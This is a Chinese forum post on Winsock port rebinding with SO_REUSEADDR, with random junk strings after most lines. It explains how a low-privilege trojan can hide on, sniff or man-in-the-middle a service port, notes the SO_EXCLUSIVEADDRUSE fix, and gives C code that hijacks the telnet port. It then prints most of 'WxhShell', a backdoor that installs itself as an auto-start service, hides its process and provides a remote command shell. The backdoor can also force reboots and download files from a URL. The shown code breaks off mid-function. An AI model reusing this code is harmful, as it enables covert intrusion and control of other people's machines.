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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2bX!-h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f]$ g9H  
EBzg<-?o  
  saddr.sin_family = AF_INET; bXq,iX  
2 T{PIJg3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {z@vSQ=)=P  
G+[>or}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Djf2ir'  
dG7sY O@U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~\<ZWU<BE  
^ .kas7 <  
  这意味着什么?意味着可以进行如下的攻击: qa^x4xZM  
0x^$q? \A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T<zonx1  
7u5B/M!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o~P8=1t   
b{s E#m%r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1:YDN.*  
pI(FUoP^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >jl"Yr#  
~R)w 9uq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @{I55EQ]  
"G6d'xkP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 idO3/>R [  
BqZLqGO Ku  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3=bzIU  
' 1P_*  
  #include m OmT]X  
  #include N0 ?O*a  
  #include Rz=]KeZu  
  #include    WtRy~5A2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \TMRS(  
  int main() <S$y=>.9  
  { w5n>hz_5  
  WORD wVersionRequested; nj7Ri=lyS  
  DWORD ret; w5|@vB/pj  
  WSADATA wsaData; '2[ _U&e  
  BOOL val; L6 _Sc-sU  
  SOCKADDR_IN saddr; ^;@Bz~Z  
  SOCKADDR_IN scaddr; '3hvR4P  
  int err; ^* DKF  
  SOCKET s; :+Dn]:\  
  SOCKET sc; $ @1&G~x  
  int caddsize; `SW`d<+L  
  HANDLE mt; eHnC^W}|s  
  DWORD tid;   MeplM$9  
  wVersionRequested = MAKEWORD( 2, 2 ); {{EQM +  
  err = WSAStartup( wVersionRequested, &wsaData ); q6_1`Ew  
  if ( err != 0 ) { gu:..'V  
  printf("error!WSAStartup failed!\n"); ;'o>6I7Ph  
  return -1; ?J6hiQvL  
  } qA30z%#z_  
  saddr.sin_family = AF_INET; sL/Lw WH  
   \17)=W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n.1a1Tf  
 &R^mpV5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?q,x?`|(8  
  saddr.sin_port = htons(23); WLh_b)V|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0e7v ?UT  
  { x~{ m%)I  
  printf("error!socket failed!\n"); i;dr(c/ft  
  return -1; X4/r#<Da  
  } =~EQ3uX  
  val = TRUE; 1}ToR=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [e^i".  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W}=2?vHV=  
  { EvECA,!i  
  printf("error!setsockopt failed!\n"); v#/,,)m  
  return -1; uPo>?hpq+  
  } \uPT-M*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6|jE3rHw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ppp&3h[dW)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &Y#9~$V=  
HE,wEKp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9QX{b+}"e  
  { D 3HB`{  
  ret=GetLastError(); 3=K-+dhk|t  
  printf("error!bind failed!\n"); ]g)%yuox9F  
  return -1; ?b7vc^E&  
  } jyT(LDsS  
  listen(s,2); &WRoNc  
  while(1) ?41| e+p  
  { b~~}(^Bg  
  caddsize = sizeof(scaddr); j68Gz5;j  
  //接受连接请求 0yZw`|Zh[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6/n;u{|  
  if(sc!=INVALID_SOCKET) mcR!P~"i  
  { 4{Ak|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y\)w#  
  if(mt==NULL) l3MH+o  
  { wGxLs>| 4  
  printf("Thread Creat Failed!\n"); Ip0Zf?  
  break; D2mB4  
  } @6tx5D?  
  } JH5])i0  
  CloseHandle(mt); 6x7=0}'  
  } D"WkD j"M  
  closesocket(s); tvH)I px  
  WSACleanup(); \G"/Myi  
  return 0; g ` {0I[  
  }   }9kq?  
  DWORD WINAPI ClientThread(LPVOID lpParam) 97 g-*K  
  { ejQCMG7  
  SOCKET ss = (SOCKET)lpParam; wb?hfe  
  SOCKET sc; H9Z3.F(2  
  unsigned char buf[4096]; E:tUbWVp  
  SOCKADDR_IN saddr; rTJWftH!  
  long num; b$ eJH  
  DWORD val; eyG.XAP  
  DWORD ret; 0VZj;Jg}q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m6 gr!aT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (Zn\S*_@/  
  saddr.sin_family = AF_INET; %2+]3h>g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @rF\6I  
  saddr.sin_port = htons(23); u`~{:V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GhT7:_r~  
  { th<]L<BP/  
  printf("error!socket failed!\n"); CNz[@6-cYU  
  return -1; zhe5i;M  
  } Ij8tBT?jlL  
  val = 100; 9%wppNT/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |q>Mw-=  
  { r6)1Y`K=9  
  ret = GetLastError(); n" ~*9'  
  return -1; pWp2{G^XB  
  } r/v&tU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +OmSR*fA0  
  { ig,|3(  
  ret = GetLastError(); izw}25SW  
  return -1; g=(+oK?  
  } `iI"rlc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nX S%>1o,  
  { 525 >=h  
  printf("error!socket connect failed!\n"); pSP_cYa#(#  
  closesocket(sc); KWUz]>Z  
  closesocket(ss); 0_EF7`T  
  return -1; f#t^<`7  
  } xRUYJ=|oh  
  while(1) @rMW_7[y  
  { ]4yvTP3[Rm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O+$70   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MocH>^,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &1{k^>oz  
  num = recv(ss,buf,4096,0); l1[IXw?  
  if(num>0) dNobvK  
  send(sc,buf,num,0); Y<+4>Eh  
  else if(num==0) yd~fC:_ ]  
  break; t;]egk  
  num = recv(sc,buf,4096,0); bM-Rj1#Lo  
  if(num>0) :I('xVNPz  
  send(ss,buf,num,0); /z5lxS@#  
  else if(num==0) (`u!/  
  break; B`aAvD`7  
  } }}_uN-m  
  closesocket(ss); *PEuaRDN  
  closesocket(sc); pYG,5+g  
  return 0 ; * 2%e.d3"M  
  } bAiw]xi  
Om  
q9!9OcN2  
========================================================== l/^-:RRNKi  
895 7$g  
下边附上一个代码,,WXhSHELL v~Qy{dn P  
zTB9GrU  
========================================================== E'8Bw7Tz  
5m42Bqy"  
#include "stdafx.h" p'qH [<s  
 G{.+D2  
#include <stdio.h> HH?*"cKF~  
#include <string.h> r<v%Zp  
#include <windows.h> jVIpbG4 4  
#include <winsock2.h> gpWS_Dw9  
#include <winsvc.h> [R>   
#include <urlmon.h> (Y)h+}n5N  
NO^t/(Z  
#pragma comment (lib, "Ws2_32.lib") J"rwWIxO*  
#pragma comment (lib, "urlmon.lib")  uN 62>  
?<'W~Rm6n  
#define MAX_USER   100 // 最大客户端连接数 % eRwH >  
#define BUF_SOCK   200 // sock buffer 29^bMau)v  
#define KEY_BUFF   255 // 输入 buffer 3L?a4,Q"k}  
GuWBl$|+b  
#define REBOOT     0   // 重启 fm>K4\2  
#define SHUTDOWN   1   // 关机 ]F;]<_  
2hJ3m+N^  
#define DEF_PORT   5000 // 监听端口 ,~xU>L^  
ZPao*2xz  
#define REG_LEN     16   // 注册表键长度 MPn>&28"|K  
#define SVC_LEN     80   // NT服务名长度 |:+pPh!-  
i(;-n_:, `  
// 从dll定义API G3+a+=e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D~OhwsL4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %k #Nu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "v!HKnDT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v6?\65w,|  
m 1i+{((  
// wxhshell配置信息 8$UZL  
struct WSCFG { J.2]km  
  int ws_port;         // 监听端口 tQ JH'YV  
  char ws_passstr[REG_LEN]; // 口令 [V, ;X  
  int ws_autoins;       // 安装标记, 1=yes 0=no :s '"u]  
  char ws_regname[REG_LEN]; // 注册表键名 (B,t 1+%  
  char ws_svcname[REG_LEN]; // 服务名 *u'`XRJU/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g/Jj]X#r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0DIM]PS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IQ=|Kj9h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,7jiHF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sFCs_u1tNN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ko|xEz=  
OW}j4-~wL  
}; zl 0^EltiU  
;n{j,HB  
// default Wxhshell configuration w9<FX>@  
struct WSCFG wscfg={DEF_PORT, f^sb0nU  
    "xuhuanlingzhe", HcVs(]tIW  
    1, EJaaW&>[  
    "Wxhshell", L_ qv<iM$  
    "Wxhshell", RK:sQWG  
            "WxhShell Service", /{ MH'  
    "Wrsky Windows CmdShell Service", efkie}  
    "Please Input Your Password: ", n3g WM C  
  1, lkWeQ)V  
  "http://www.wrsky.com/wxhshell.exe", ((>3,%B`  
  "Wxhshell.exe" GdeR#%z  
    }; Bj($_2M%+  
A|_%'8  
// 消息定义模块 [I<'E LX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MQH8Q$5D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :$Q]U2$mPS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OGi4m |  
char *msg_ws_ext="\n\rExit."; | ,l=v`/  
char *msg_ws_end="\n\rQuit."; sFM>gG  
char *msg_ws_boot="\n\rReboot..."; [-Tt11  
char *msg_ws_poff="\n\rShutdown..."; %802H%+  
char *msg_ws_down="\n\rSave to "; YZ:'8<  
`pAp[]SfQd  
char *msg_ws_err="\n\rErr!"; Ldj^O9p(  
char *msg_ws_ok="\n\rOK!"; 2]RH)W86;  
I cA\3j  
char ExeFile[MAX_PATH]; 9g5{3N3  
int nUser = 0; %%,hR'+|  
HANDLE handles[MAX_USER]; '`~(Fkj  
int OsIsNt; `{Di*  
LOUKUReE  
SERVICE_STATUS       serviceStatus; $17 v,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4U a~*58  
B0XBI0w^Y  
// 函数声明 WlRZ|.  
int Install(void); V<NsmC=g  
int Uninstall(void); b:5%}  
int DownloadFile(char *sURL, SOCKET wsh); [xs)u3b  
int Boot(int flag); QRZTT qG  
void HideProc(void); 9Glfi@.  
int GetOsVer(void); Ysc|kxLb  
int Wxhshell(SOCKET wsl); '"fU2M<.  
void TalkWithClient(void *cs); nP{sCH 1  
int CmdShell(SOCKET sock); Z=Y_;dS9  
int StartFromService(void); q,,>:]f#  
int StartWxhshell(LPSTR lpCmdLine); $s(4?^GP  
qTa]th;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lp0T\ %  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ))69a  
])ALAAIc-  
// 数据结构和表定义 GE8D3V;*V  
SERVICE_TABLE_ENTRY DispatchTable[] = {L-aXe{  
{ a(43]d&  
{wscfg.ws_svcname, NTServiceMain}, i_'R"ob{S  
{NULL, NULL} k5%0wHpk=  
}; MV;Y?%>  
GKsL~;8"  
// 自我安装 )bCG]OM7<  
int Install(void) Rw ao5l=x  
{ >&Ui*  
  char svExeFile[MAX_PATH]; 0@e}hv;  
  HKEY key; {Fp`l\,  
  strcpy(svExeFile,ExeFile); s8yTK2v2\  
PxVI {:Uz  
// 如果是win9x系统,修改注册表设为自启动 6v2RS  
if(!OsIsNt) { 3{I=#>;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .";tnC!e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E ^SM`  
  RegCloseKey(key); xX&>5 "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,ORG"]_F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?ZuD _L-i  
  RegCloseKey(key); HHIUl,P  
  return 0; <j1d~XU}  
    } l;{N/cS  
  } NtA|#"^  
} ZG \ I1  
else { Z>w^j.(  
vrm{Ql&  
// 如果是NT以上系统,安装为系统服务 .1z$ A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J.e8UQ@=5  
if (schSCManager!=0) 6aF'^6+a  
{ qvfAG 0p  
  SC_HANDLE schService = CreateService ekl? K~  
  ( ({H+ y 9n  
  schSCManager, Puth8$  
  wscfg.ws_svcname, 5Ckk5b  
  wscfg.ws_svcdisp, .iP G/e  
  SERVICE_ALL_ACCESS, %X9:R'~sP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ox\B3U%`p}  
  SERVICE_AUTO_START, &W)+8N,L  
  SERVICE_ERROR_NORMAL, [;IDTo!<>  
  svExeFile, hDD~,/yVxs  
  NULL, y5AXL5  
  NULL, +%le/Pg@  
  NULL, &t*8oNwSs  
  NULL, TH(Lzrbg  
  NULL Ky '3z"  
  ); THbtu*El  
  if (schService!=0) 32bkouq  
  { ]g8i>,G  
  CloseServiceHandle(schService); gM;)  
  CloseServiceHandle(schSCManager); Q&.IlVB[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iQm.]A  
  strcat(svExeFile,wscfg.ws_svcname); RLu$$Eb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z*)y.i`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kP}hUrDX5  
  RegCloseKey(key); Fyh?4!/.  
  return 0; T) Zt'M  
    } mS w?2ba  
  } An8%7xa7  
  CloseServiceHandle(schSCManager); kh>SrW]B%  
} \\2k}TsB  
} {sna)v$;  
y[^k*,= 9  
return 1; /50g3?X,  
} .n)!ZN  
_86*.3fQG  
// 自我卸载 )ZgER[  
int Uninstall(void) 7$1fy0f[l  
{ S`W'G&bCj  
  HKEY key; a$xeiy9  
iKF$J3a\2f  
if(!OsIsNt) { I", &%0ycm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [ n0##/  
  RegDeleteValue(key,wscfg.ws_regname); _@BRpLs:4  
  RegCloseKey(key); {#w A !>.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6m-:F.k1(  
  RegDeleteValue(key,wscfg.ws_regname); rt3f7 s*  
  RegCloseKey(key); MR?*GI's  
  return 0; { /F rs*AF  
  } Mf ;|z0UX  
} Uaus>Frx.T  
} =YXe1$ $  
else { U=&^H!LVY  
4[LLnF--  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ElEv(>G*  
if (schSCManager!=0) #LN5&i;s  
{ !sfXq"F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8z."X$  
  if (schService!=0) ]< s\V-y  
  { R%Ui6dCLo  
  if(DeleteService(schService)!=0) { `FzYvd"N  
  CloseServiceHandle(schService); \ifK~?  
  CloseServiceHandle(schSCManager); n2xLgK=  
  return 0; Ss#@=:"P  
  } >op:0on]}  
  CloseServiceHandle(schService); c|\ZRBdI  
  } \uU=O )  
  CloseServiceHandle(schSCManager); (b/A|hl  
} .)"_Q/q  
} S1 EEASr!}  
[5? 4c'Ev  
return 1; W.#}q K" q  
} G%P>A g  
Hhe{ +W@~  
// 从指定url下载文件 yyY~ *Le  
int DownloadFile(char *sURL, SOCKET wsh) `2x H7a-  
{ {) :%Wn M9  
  HRESULT hr; #gW /qJ  
char seps[]= "/"; b)on A|  
char *token; _KB{J7bs<a  
char *file; V>b2b5QAH,  
char myURL[MAX_PATH]; v"P&` 1=T  
char myFILE[MAX_PATH]; Pl rkgS0J  
F`Dg*O  
strcpy(myURL,sURL); ]^J+-c  
  token=strtok(myURL,seps); v`#j  
  while(token!=NULL) ,:#,}w_HyO  
  { qj~flw1:  
    file=token; mF[o*N*  
  token=strtok(NULL,seps); lZ|L2Yg3uB  
  } ||-nmOy  
uipq=Yp.  
GetCurrentDirectory(MAX_PATH,myFILE); _ztZ> '  
strcat(myFILE, "\\"); @4IW=V  
strcat(myFILE, file);  0dgP  
  send(wsh,myFILE,strlen(myFILE),0); b]!9eV$  
send(wsh,"...",3,0); G(U9rJ9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lLb:f6N  
  if(hr==S_OK) @s_3 0+  
return 0; _GVE^yW~z  
else U@Z>/ q  
return 1; nNt*} k  
X+=-f^)&  
} Nls83 W  
8YuJ8KC  
// 系统电源模块 -PNi^ K_  
int Boot(int flag) )y9;OA  
{ Y/. AUN Z  
  HANDLE hToken; NH7`5mF$  
  TOKEN_PRIVILEGES tkp; A /q2g7My  
yJ!OsD  
  if(OsIsNt) { Z[",$Lt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KcC!N{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %'Zc2h&z  
    tkp.PrivilegeCount = 1; , N53Iic  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &4,WG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |u@+`4o  
if(flag==REBOOT) { OF c\fW#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ojHhT\M`  
  return 0; !Y ( apVQ  
} t#C,VwMe[  
else { !Eq#[Gs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WfTD7?\dw  
  return 0; 6cM<>&e  
} \)ip>{WG  
  } = 96G8hlT  
  else { Zp?4uQ)[W  
if(flag==REBOOT) { C:]s;0$3'9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8wr8:( Y$  
  return 0; \gLxC  
} k`Nyi )AGe  
else { lC0~c=?J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q"40#RFA  
  return 0; O~V1Ywfq7^  
} qu_)`wB  
} u*2fP]n  
kw*)/$5]  
return 1; pet~[e%!  
} ;HDZ+B  
S}[l*7  
// win9x进程隐藏模块 3y99O $EAc  
void HideProc(void) &VDl/qnaL  
{ 2d*_Qq1  
\K;op2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 089 k.WG  
  if ( hKernel != NULL ) -"=)z /S  
  { ~W<CE_/]k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +b^]Pz5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NUCiY\td  
    FreeLibrary(hKernel); )l&D]3$6K  
  } #%:c0=  
t8QRi!\=  
return; F|>05>8  
} |( G2K'Ab  
vA=Z=8  
// 获取操作系统版本 yGxv?%%2  
int GetOsVer(void) (&jW}1D  
{ kY"KD22a  
  OSVERSIONINFO winfo; F$Hx`hoy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 69-:]7.g  
  GetVersionEx(&winfo); #)o7"PW:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CK0l9#g  
  return 1; 3X;{vO\a1  
  else Zb(E:~h\  
  return 0; AEY$@!8  
} [$pmPr2  
j(iuz^I  
// 客户端句柄模块 <:&de8bT  
int Wxhshell(SOCKET wsl) =.*98  
{ t6+YXjXK  
  SOCKET wsh; B:< ]Hl$  
  struct sockaddr_in client; y` yZ R _  
  DWORD myID; kbYeV_OwM  
44\cI]!{  
  while(nUser<MAX_USER) /`[!_4i  
{ LvcuZZ`1a  
  int nSize=sizeof(client); P ZxFZvE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]ab#q=  
  if(wsh==INVALID_SOCKET) return 1; SHV4!xP-V  
c pk^!@c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5{K}?*3hJ  
if(handles[nUser]==0) *FK`&(B+}  
  closesocket(wsh); 0w %[  
else DVlJ*A  
  nUser++; &fwS{n;U  
  } glE^t6)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); er2cQS7R  
x&Cp> +i  
  return 0; ; Y"N6%  
} N>|XS ,  
=wG+Ao  
// 关闭 socket <P_ea/5:|  
void CloseIt(SOCKET wsh) ~=En +J}*  
{ bl;zR  
closesocket(wsh); /*$hx@ih  
nUser--; fuUm}N7  
ExitThread(0); @*>Sw>oet  
} Y ya`&V  
A(8n  
// 客户端请求句柄 S QY"OBo<e  
void TalkWithClient(void *cs) t P"\J(x  
{ u,1}h L  
+/rH(Ni  
  SOCKET wsh=(SOCKET)cs; !2tW$BP^  
  char pwd[SVC_LEN]; 3GH(wSv9\  
  char cmd[KEY_BUFF]; k`\R+WK$  
char chr[1]; ]ikomCg   
int i,j; "Pz}@=  
"5Uh< X  
  while (nUser < MAX_USER) { 8z2Rry w  
CSTI?A"P  
if(wscfg.ws_passstr) { g5Z#xszj+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  En6H%^d2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p`F9Amb  
  //ZeroMemory(pwd,KEY_BUFF); *|% ^0#$c  
      i=0; B=Ym x2A9]  
  while(i<SVC_LEN) { c~=B0K-  
=JS;;PzX[  
  // 设置超时 y "w|g~x]c  
  fd_set FdRead; pZ(Fx&fy  
  struct timeval TimeOut; V Z y4_v=  
  FD_ZERO(&FdRead); 9H0H u]zM  
  FD_SET(wsh,&FdRead); -%CoWcGP  
  TimeOut.tv_sec=8; - nbMTY}  
  TimeOut.tv_usec=0; EH*o"N`!r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UPiW73Nu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,=QM#l]  
b'YE9E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8RW&r  
  pwd=chr[0]; V\]" }V)"  
  if(chr[0]==0xd || chr[0]==0xa) { p(F" /  
  pwd=0; /9pM>Cd*Z  
  break; $((6=39s  
  } @n&<B`/  
  i++; I$t3qd{H&  
    } _>m-AI4^  
44ed79ly0)  
  // 如果是非法用户,关闭 socket 5O/i3m26  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I 1Sa^7  
} %+)o'nf"U  
@}-r&/#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ->^~KVh&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N|g;W  
\2 y5_;O  
while(1) { kq=V4-a[  
a:TvWzX,  
  ZeroMemory(cmd,KEY_BUFF); Kl{>jr8B3  
zSEs?  
      // 自动支持客户端 telnet标准   )D&M2CUw"f  
  j=0; cO2& VC  
  while(j<KEY_BUFF) { !4"^`ors$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x NK1h-t  
  cmd[j]=chr[0]; i_R e*  
  if(chr[0]==0xa || chr[0]==0xd) { 4Y> Yi*n  
  cmd[j]=0; (-77[+2  
  break; Ny- [9S-<  
  } YevyN\,}V!  
  j++; Yap?^&GV  
    } G!N{NCq  
RyJ 1mAC  
  // 下载文件 )d\ j I  
  if(strstr(cmd,"http://")) { (>4aibA'P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z4#(Ze@u~_  
  if(DownloadFile(cmd,wsh)) !" #9<~Q,p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WEg6Kz  
  else m([(:.X/IX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oX@ya3!Pz  
  } 0MMEo~dih  
  else { K,'*Dz  
&3F}6W6A  
    switch(cmd[0]) { OO dSKf8  
  L4u;|-znw  
  // 帮助 aNn"X y\ k  
  case '?': { KlV:L 4a~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C?ib_K*  
    break; 1"7Sy3  
  } xkNyvqcw  
  // 安装 Rlnbdb;!k  
  case 'i': { 1OLqL  
    if(Install()) ?bZovRx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wz4&7KYY  
    else zya5Jb:Sg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Ng\B.IQ  
    break; \<Sv3xy&O  
    } YJg,B\z}  
  // 卸载 0~wF3BgV  
  case 'r': { n\Fp[9+Z\  
    if(Uninstall()) &AVpLf:?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {t"+ 3zy'  
    else Oa;X +  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EN{]Qb06A  
    break; )#|<w9uec  
    } 4(}J.-B  
  // 显示 wxhshell 所在路径 D(p\0V  
  case 'p': { Jd\apBIf  
    char svExeFile[MAX_PATH]; 9)xUA;Qw?z  
    strcpy(svExeFile,"\n\r"); )VL96did  
      strcat(svExeFile,ExeFile); :@W.K5  
        send(wsh,svExeFile,strlen(svExeFile),0); NNhL*C[_7  
    break; Xs&TJ8a  
    } Pq*s{  
  // 重启 V.ht, ~l  
  case 'b': { @`tXKP$so  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ES~^M840f  
    if(Boot(REBOOT)) 21s4MagC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UYk>'\%H0  
    else { w -Nhs6  
    closesocket(wsh); Ol"3a|  
    ExitThread(0); !USd9  
    } 8}H1_y-g[  
    break; ~\x:<)  
    } &l$Q^g  
  // 关机 1O].v&{  
  case 'd': { kGpa\c g1  
